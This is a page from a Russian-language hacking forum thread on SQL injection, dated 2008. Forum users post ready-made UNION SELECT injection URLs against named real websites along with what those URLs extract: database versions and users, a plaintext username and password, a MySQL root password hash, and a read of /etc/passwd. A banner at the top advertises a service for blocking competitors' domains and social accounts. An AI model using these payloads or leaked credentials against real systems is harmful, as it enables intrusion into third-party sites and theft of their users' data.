УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 522 из 1604

522

Опции темы

Поиск в этой теме

Опции просмотра

#5211

29.03.2008, 09:47

Holokost

Новичок

Регистрация: 09.11.2007

Сообщений: 8

Провел на форуме:
37581

Репутация: 15

http://www.shkola.spb.ru/server_news/index.phtml?id=-736+union+select+1,2,3,4,5,6,7,8,9,10,version(),us er(),database(),14,15,16,17,18/*

#5212

29.03.2008, 11:37

CaNNabi$

Познающий

Регистрация: 21.01.2008

Сообщений: 85

Провел на форуме:
839509

Репутация: 338

Отправить сообщение для CaNNabi$ с помощью ICQ

Цитата:

Сообщение от Holokost

http://www.shkola.spb.ru/server_news/index.phtml?id=-736+union+select+1,2,3,4,5,6,7,8,9,10,version(),us er(),database(),14,15,16,17,18/*

БОЯН

#5213

29.03.2008, 13:43

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

Отправить сообщение для fRg с помощью ICQ

eipcprograms.com - Egyptian International Programming Center

Код:

http://www.eipcprograms.com/product.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13/*

5.0.24a-log:d60350056:u70382875@cgihost

#5214

29.03.2008, 14:15

fRg

Участник форума

Регистрация: 28.12.2006

Сообщений: 111

Провел на форуме:
500695

Репутация: 524

10-ти летию The Asylum посвящается...

Код:

http://www.theasylum.cc/product.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25/*

5.0.22:asylum_main1:gf65431@localhost

Таба account с полями user и pass

Пользователь один [ логин : пасс ] : paul : g0g0asylum

#5215

29.03.2008, 14:52

Shram-spb

Познающий

Регистрация: 06.06.2007

Сообщений: 83

Провел на форуме:
404154

Репутация: 140

Отправить сообщение для Shram-spb с помощью ICQ

Код:

http://www.moygolos.ru/article.php?a=author&id=-4'+union+select+1,2,3,4,concat_ws(char(58),email,pass)+from+user+where+id+limit+0,1/*

#5216

29.03.2008, 15:00

А®ТеS

Участник форума

Регистрация: 25.11.2006

Сообщений: 291

Провел на форуме:
1537850

Репутация: 536

Отправить сообщение для А®ТеS с помощью ICQ

http://www.ais.com.ua/

Цитата:

http://www.ais.com.ua/auto_listing.php?page_id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,CONCAT_WS(0 x3a,USER(),VERSION(),DATABASE())/*

root@localhost:4.1.22:ais

#5217

29.03.2008, 23:23

Buffalon

Постоянный

Регистрация: 22.03.2008

Сообщений: 325

Провел на форуме:
1208132

Репутация: 63

Цитата:

Сообщение от А®ТеS

http://www.ais.com.ua/

root@localhost:4.1.22:ais

Квырнул дальше:
http://www.ais.com.ua/auto_listing.php?page_id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0 x2A,user,password)+FROM+mysql.user/*
root*183b2d0876ceb447
http://www.ais.com.ua/auto_listing.php?page_id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,concat_ws(0 x2A,user,password)+FROM+mysql.user+limit+1,2/*

Последний раз редактировалось Buffalon; 30.03.2008 в 00:05..

#5218

30.03.2008, 00:01

~~Велемир~~

Banned

Регистрация: 19.06.2006

Сообщений: 1,239

Провел на форуме:
1469161

Репутация: 142

Отправить сообщение для Велемир с помощью ICQ

Цитата:

Сообщение от Constantine

http://www.laptopshowcase.co.uk/downloads.php?id=1
Подобирать столбцы необходимо с помошью group+by

Код:

Mixing of GROUP columns (MIN(),MAX(),COUNT()...) with no GROUP columns is illegal if there is no GROUP BY clause

В итоге правельным будет следующий запрос

_http://www.laptopshowcase.co.uk/downloads.php?id=-1+group+by+10+union+select+1,2,version(),4,5,6,7,8 ,9,0,11/*

И снова ты меня спас)))))

#5219

30.03.2008, 14:17

MaSter GeN

Познающий

Регистрация: 26.01.2008

Сообщений: 71

Провел на форуме:
280720

Репутация: 141

Отправить сообщение для MaSter GeN с помощью ICQ

Код:

http://research.calacademy.org/research/ichthyology/catalog/getname.asp?rank=species&id=1 or 1=@@version--

ver=Microsoft SQL Server 2000
db=CoFWeb
user=IUSR_MATANGO

#5220

30.03.2008, 14:23

А®ТеS

Участник форума

Регистрация: 25.11.2006

Сообщений: 291

Провел на форуме:
1537850

Репутация: 536

http://www.au-pair-box.com/

Цитата:

http://www.au-pair-box.com/FORMfields/examples/gebot/fview_shorttimeemployment.php?__id=-1+UNION+SELECT+CONCAT_WS(0x3A,VERSION(),USER(),DAT ABASE()),LOAD_FILE('/etc/passwd'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18, 19/*

Есть file_priv, magic_quotes_gpc=off